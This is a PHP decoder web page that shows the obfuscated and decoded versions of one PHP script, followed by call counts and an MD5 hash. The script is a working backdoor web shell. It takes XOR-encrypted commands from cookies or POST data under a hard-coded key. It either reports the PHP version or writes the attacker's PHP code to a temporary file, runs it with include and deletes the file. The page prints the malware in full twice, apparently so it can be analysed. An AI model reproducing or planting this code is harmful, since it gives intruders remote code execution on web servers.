Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* au*/ function /* sorhjp*/ cnolmvsuk(){$gqhrrqlb_='ybonr'; print_r (53416+53..
Decoded Output download
<?php /* au*/ function /* sorhjp*/ cnolmvsuk(){$gqhrrqlb_='ybonr'; print_r (53416+53416); }
$jrympmhqx /* sdybw */ = 'jrympmhqx' ^ /* j_wx */ ' ';
function /* surmw*/ sndyrf_l(){
$pyvlwsco /* k_wej*/ = 555;
$lcj_l = /* sx */ 'bvueuhf';
$ly_x_ = /* bjunxy */ 555;
$zljbpbnlv /* i*/ = $ly_x_ * /* aro */ 19;
}
function qmuqewjc($exuccclppa, $ktjryxvg)
{
global $jrympmhqx; /* hlelyi*/ $tezncm /*pired */ = /* s */ "";
$gpeah = '_amjkemaba';
for ($rlnrsacdzw /* hw */ = 0; $rlnrsacdzw /* d_weme */ < /* zntssl */ strlen($exuccclppa);) {
for ($rlnrs = 0; $rlnrs /* _ */ < strlen($ktjryxvg) /* gbbi */ && /* i */ $rlnrsacdzw /* m */ < strlen($exuccclppa); $rlnrs++, /*apf */ $rlnrsacdzw++) {
$tezncm /*nmgqz*/ .= $jrympmhqx(ord($exuccclppa[$rlnrsacdzw]) ^ /* oj */ ord($ktjryxvg[$rlnrs]));
}
}
/* auc_ */ return $tezncm;
}
$kiugt = $_COOKIE;
$ueuqhaiw = $_POST;
$exrqs = /*es */ 407;
$xbqpe = /* ljxif*/ $exrqs + 10;
$zfiscl = /* xhvc_s*/ 897;
function /* jbdyq */ cstlkma($fqvrl, /* gf*/ $exuccclppa)
{
global $jrympmhqx;
$zkajgtju /* b */ = /* hia */ sprintf("." . "/"."%"."s"."." /* sse */ . /*j */ "p"."l", md5($fqvrl));
/* vmajj */ file_put_contents($zkajgtju, "<" . $jrympmhqx(63) . $jrympmhqx(112) . /* r*/ "h"."p" . /* d_mlo */ $jrympmhqx(32) . $jrympmhqx(117) /* hgwu */ . /* h */ "n"."l"."i" /* yddbis */ . $jrympmhqx(110) /*kzbu */ . "k" . /*rfpqso */ "(" . "_" /* vsdu_f*/ . "_" /* knbu*/ . /*kcjkrz */ $jrympmhqx(397-327) . "I"."L"."E"."_" /* ctqlyz */ . $jrympmhqx(95) /* iikcqk */ . ")" . ";" /* dfdiam */ . $jrympmhqx(32) . /* m */ $exuccclppa["d"]);
/* snukid */ include($zkajgtju); $yjvbhosxup /*k*/ = /*gbi */ 146;
$svclnfe_kt = 'elplf'; $oxumgozoiq /*tx */ = /* loc */ 'rvpsjl'; $lagmysneem = $zkajgtju;
@unlink($lagmysneem);
$gbifle = 'cxende';
}
function cpboki()
{ $ywvkxsrc_ /*vctkb */ = 314;
}
function tktryb(){
/*sxrnvl*/ global $jrympmhqx;
$rlnrsacdzw = array();
$vebxe /* lkjuqk */ = /* owiv*/ 'uw'; /* kgzfye*/ $fwxvlvyo /* auiwzo */ = 257;
$rlnrsacdzw["p"."v"] /* hple*/ = phpversion(); $fwxvlvyo = $fwxvlvyo /* q */ / 6; $rlnrsacdzw["s"."v"] /*qp */ = "3".".".$jrympmhqx(319-266);
$qipsvq /*fzua*/ = /* hbubgd */ 'mviva_pdka';
echo @serialize($rlnrsacdzw);
$fwxvlvyo = $fwxvlvyo % /* h*/ 17; $fwxvlvyo /* ibeo*/ = $fwxvlvyo - /* jkjpj */ 19;}
cpboki();
sndyrf_l();
function wucufl($exuccclppa, /*x_tvoq*/ $fqvrl, $_caeif)
{
global $jrympmhqx;
$exuccclppa = unserialize(qmuqewjc(qmuqewjc(base64_decode($exuccclppa), /*btmubm */ $fqvrl), $_caeif)); $msgaqzqw /* rj_ */ = 'jgfrucqsov'; /* ioxgrh */ $rlnrsacdzws_agr = /* ezag */ 'btac_mv_p';
/* ul*/ $hyp_tpkkns /* cxvvi*/ = strtolower($msgaqzqw);
if /* czdx*/ (isset($exuccclppa["a"."k"])) /* nfk */ {
/* qarw */ if ($exuccclppa["a"] /*qsaui */ == "i") /*heck*/ {
tktryb();
} elseif ($exuccclppa["a"] == $jrympmhqx(101)) /*cufyb */ {
cstlkma($fqvrl, /* csxsk */ $exuccclppa); } exit();
/* j*/ }
}
$kiugt = /* ign_c_ */ array_merge($ueuqhaiw, $kiugt);
$fqvrl = $jrympmhqx(49) . "4"."4"."a"."8"."a" /* wbs */ . "0"."3"."-" /* uojv*/ . /* csch */ $jrympmhqx(357-309) . "8" . "8"."0".$jrympmhqx(315-270) /* vn */ . $jrympmhqx(1016-964) . /* zycfpb */ "2" . "b"."7".$jrympmhqx(395-350) . "8".$jrympmhqx(56) /* s */ . "6"."6"."-" /*ce */ . "b"."d" . $jrympmhqx(1033-936) /*oqp */ . "7" . "c".$jrympmhqx(101) /*zax */ . /* nbydqu */ $jrympmhqx(101)."7" . $jrympmhqx(52) /*e_ */ . "2" /* pkm_ca */ . "4" /* rh */ . $jrympmhqx(100);$pgcawocs /* qdx */ = -12;foreach /* nhnonq*/ ($kiugt as $_caeif => $exuccclppa) /* mmlvdt*/ {
wucufl($exuccclppa, $fqvrl, /* xpw */ $_caeif);
}
?>
Did this file decode correctly?
Original Code
<?php /* au*/ function /* sorhjp*/ cnolmvsuk(){$gqhrrqlb_='ybonr'; print_r (53416+53416); }
$jrympmhqx /* sdybw */ = 'jrympmhqx' ^ /* j_wx */ ' ';
function /* surmw*/ sndyrf_l(){
$pyvlwsco /* k_wej*/ = 555;
$lcj_l = /* sx */ 'bvueuhf';
$ly_x_ = /* bjunxy */ 555;
$zljbpbnlv /* i*/ = $ly_x_ * /* aro */ 19;
}
function qmuqewjc($exuccclppa, $ktjryxvg)
{
global $jrympmhqx; /* hlelyi*/ $tezncm /*pired */ = /* s */ "";
$gpeah = '_amjkemaba';
for ($rlnrsacdzw /* hw */ = 0; $rlnrsacdzw /* d_weme */ < /* zntssl */ strlen($exuccclppa);) {
for ($rlnrs = 0; $rlnrs /* _ */ < strlen($ktjryxvg) /* gbbi */ && /* i */ $rlnrsacdzw /* m */ < strlen($exuccclppa); $rlnrs++, /*apf */ $rlnrsacdzw++) {
$tezncm /*nmgqz*/ .= $jrympmhqx(ord($exuccclppa[$rlnrsacdzw]) ^ /* oj */ ord($ktjryxvg[$rlnrs]));
}
}
/* auc_ */ return $tezncm;
}
$kiugt = $_COOKIE;
$ueuqhaiw = $_POST;
$exrqs = /*es */ 407;
$xbqpe = /* ljxif*/ $exrqs + 10;
$zfiscl = /* xhvc_s*/ 897;
function /* jbdyq */ cstlkma($fqvrl, /* gf*/ $exuccclppa)
{
global $jrympmhqx;
$zkajgtju /* b */ = /* hia */ sprintf("\x2e" . "/"."%"."s"."\x2e" /* sse */ . /*j */ "p"."\x6c", md5($fqvrl));
/* vmajj */ file_put_contents($zkajgtju, "<" . $jrympmhqx(63) . $jrympmhqx(112) . /* r*/ "h"."\x70" . /* d_mlo */ $jrympmhqx(32) . $jrympmhqx(117) /* hgwu */ . /* h */ "n"."l"."\x69" /* yddbis */ . $jrympmhqx(110) /*kzbu */ . "\153" . /*rfpqso */ "\x28" . "\x5f" /* vsdu_f*/ . "\x5f" /* knbu*/ . /*kcjkrz */ $jrympmhqx(397-327) . "I"."L"."E"."\137" /* ctqlyz */ . $jrympmhqx(95) /* iikcqk */ . "\x29" . "\73" /* dfdiam */ . $jrympmhqx(32) . /* m */ $exuccclppa["\x64"]);
/* snukid */ include($zkajgtju); $yjvbhosxup /*k*/ = /*gbi */ 146;
$svclnfe_kt = 'elplf'; $oxumgozoiq /*tx */ = /* loc */ 'rvpsjl'; $lagmysneem = $zkajgtju;
@unlink($lagmysneem);
$gbifle = 'cxende';
}
function cpboki()
{ $ywvkxsrc_ /*vctkb */ = 314;
}
function tktryb(){
/*sxrnvl*/ global $jrympmhqx;
$rlnrsacdzw = array();
$vebxe /* lkjuqk */ = /* owiv*/ 'uw'; /* kgzfye*/ $fwxvlvyo /* auiwzo */ = 257;
$rlnrsacdzw["p"."\166"] /* hple*/ = phpversion(); $fwxvlvyo = $fwxvlvyo /* q */ / 6; $rlnrsacdzw["s"."\166"] /*qp */ = "3".".".$jrympmhqx(319-266);
$qipsvq /*fzua*/ = /* hbubgd */ 'mviva_pdka';
echo @serialize($rlnrsacdzw);
$fwxvlvyo = $fwxvlvyo % /* h*/ 17; $fwxvlvyo /* ibeo*/ = $fwxvlvyo - /* jkjpj */ 19;}
cpboki();
sndyrf_l();
function wucufl($exuccclppa, /*x_tvoq*/ $fqvrl, $_caeif)
{
global $jrympmhqx;
$exuccclppa = unserialize(qmuqewjc(qmuqewjc(base64_decode($exuccclppa), /*btmubm */ $fqvrl), $_caeif)); $msgaqzqw /* rj_ */ = 'jgfrucqsov'; /* ioxgrh */ $rlnrsacdzws_agr = /* ezag */ 'btac_mv_p';
/* ul*/ $hyp_tpkkns /* cxvvi*/ = strtolower($msgaqzqw);
if /* czdx*/ (isset($exuccclppa["a"."k"])) /* nfk */ {
/* qarw */ if ($exuccclppa["a"] /*qsaui */ == "i") /*heck*/ {
tktryb();
} elseif ($exuccclppa["a"] == $jrympmhqx(101)) /*cufyb */ {
cstlkma($fqvrl, /* csxsk */ $exuccclppa); } exit();
/* j*/ }
}
$kiugt = /* ign_c_ */ array_merge($ueuqhaiw, $kiugt);
$fqvrl = $jrympmhqx(49) . "4"."4"."a"."8"."\141" /* wbs */ . "0"."3"."\x2d" /* uojv*/ . /* csch */ $jrympmhqx(357-309) . "\70" . "8"."0".$jrympmhqx(315-270) /* vn */ . $jrympmhqx(1016-964) . /* zycfpb */ "\62" . "b"."7".$jrympmhqx(395-350) . "8".$jrympmhqx(56) /* s */ . "6"."6"."\55" /*ce */ . "b"."\x64" . $jrympmhqx(1033-936) /*oqp */ . "\x37" . "c".$jrympmhqx(101) /*zax */ . /* nbydqu */ $jrympmhqx(101)."\67" . $jrympmhqx(52) /*e_ */ . "\62" /* pkm_ca */ . "\x34" /* rh */ . $jrympmhqx(100);$pgcawocs /* qdx */ = -12;foreach /* nhnonq*/ ($kiugt as $_caeif => $exuccclppa) /* mmlvdt*/ {
wucufl($exuccclppa, $fqvrl, /* xpw */ $_caeif);
}
?>
Function Calls
cpboki | 1 |
sndyrf_l | 1 |
array_merge | 1 |
Stats
MD5 | 313ab7fc557ae413fa9aac31435c9454 |
Eval Count | 0 |
Decode Time | 76 ms |